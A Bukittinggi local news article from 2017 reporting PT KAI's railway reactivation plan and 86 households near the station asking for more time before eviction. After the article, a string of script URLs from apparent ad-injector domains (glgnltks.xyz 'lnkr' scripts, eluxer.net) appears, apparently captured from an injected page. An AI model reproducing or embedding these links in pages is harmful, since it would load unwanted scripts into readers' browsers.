Ruang Publik

Warga Stasiun Bukittinggi Minta Perpanjangan Waktu Soal Pembongkaran Lahan PT KAI

HaloBukittinggi : Rencana PT. Kereta Api Indonesia (KAI) untuk mengaktifkan kembali jalur rel kereta api yang melewati Kota Bukittinggi kini memasuki tahap sosialisasi dengan warga yang terkena imbas pembongkaran lahan oleh PT. KAI.

Manajer Aset PT KAI Divre II Sumbar, Martalius telah menyekapakati dengan Pemerintah Kota Bukittinggi untuk mengaktifkan kembali jalur kereta api tersebut, sekaligus meminta izin kepada Wali Kota untuk melakukan sosialisasi dan penertiban kepada warga.

“Pada Bulan Mei ini PT. KAI melakukan sosialisasi dengan masyarakat Kota Bukittinggi dan bulan Juni dan Juli mempersiapkan lahan dan Bulan Agustus melakukan peletakan batu pertama yang rencananya akan dilakukan oleh Presiden RI Joko Widodo,” ujarnya, saat sosialisasi dengan masyarakat stasiun, Jum’at (5/5/2017).

Menurut Martalius, selama ini kan warga sudah memanfaatkan, sekarang PT KAI yang gantian memanfaatkan, maka dari itu PT KAI akan segera melayangkan Surat Peringatan (SP) 1. Selanjutnya, bulan Ramadhan akan dilayangkan pula surat peringatan ke-2 agar warga segera membongkar bangunannya, hingga akhir lebaran bangunan sudah kosong.

“Bagi warga yang disuruh pindah dari areal kereta api, akan diberikan uang untuk biaya bongkar dan pindah, karena PT KAI tidak dapat memberikan kompensasi, namun hanya dalam bentuk uang silaturahmi saja,” terangnya.

Sementara itu Manager Keamanan Area PT KAI Sumbar Drive II Asmar Yunus, mengharapkan agar warga yang tinggal di Stasiun untuk taat, sebab ini merupakan ketentuan dari Pemerintah Pusat untuk reaktivasi jalur kereta api.

Sosialisasi yang dilakukan pihak PT. KAI kepada warga di jalan M. Syafei stasiun Bukittinggi mendapat respon positif dari warga setempat sekaligus mendukung untuk mengaktifkan kembali jalur kereta api di Bukittinggi.

Menanggapi hal ini, Koordinator Aliansi Perjuangan Warga Stasiun (APWS) Ivan Haykel, selaku sangat menyayangkan sikap pihak PT. KAI yang di anggap tergesa-gesa karena surat pemberitahuan baru di berikan pada akhir Bulan lalu.

“PT KAI meminta warga untuk mengosongkan area tersebut hingga 1 Juli nanti, mustahil bagi warga untuk mencari rumah dalam waktu 3 Bulan, karena ada 86 KK yang terkena imbasnya, apalagi dengan ekonomi warga yang menengah kebawah,” ujarnya.

Ivan Haykel menambahkan, ada 86 KK untuk 86 unit rumah di kota Bukittinggi, mustahil ada rumah dalam jangka waktu tersebut apalagi pengosongan area tersebut bertepatan dengan Bulan puasa, lebaran, dan tahun ajaran baru.

“Kami tidak menentang pihak KAI untuk membangun jalur kereta api malah kami mendukung namun setidaknya beri kami perpanjangan waktu hingga satu tahun, sehingga warga bisa mencari rumah tempat tinggal mereka,” ujarnya.

Menurut Ivan Haykel, idealnya pemerintah dan PT KAI (Kereta Api Indonesia) harus memberikan tenggat waktu kepada masyarakat selama tiga hingga lima tahun sebelum digusur, serta diberikan kompensasi agar bisa hidup layak saat menempati tempat baru.

Dalam sosialisasi yang dilakukan PT KAI dengan warga tidak lain hanya menginginkan perpanjangan waktu saja dan warga pun tidak meminta ganti rugi dalam bentuk apapun.

“Setidaknya pihak PT KAI bisa menyikapinya dengan bijaksana terkait hal demikian dan mendengarkan hati nurani warga setempat,” tukasnya. (Dipra)

https://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2449&ext=Advertisehttps://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2450&ext=Not%20sethttps://glgnltks.xyz/addons/lnkr5.min.jshttps://glgnltks.xyz/addons/lnkr30_nt.min.jshttps://eluxer.net/code?id=105&subid=51565_4460_https://glgnltks.xyz/ext/116c6de661dcbbd02f.js?sid=51565_4460_&title=Not%20set&blocks%5B%5D=1f755&blocks%5B%5D=4d09a

Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Populer

Copyright © 2016 HaloBukittinggi

To Top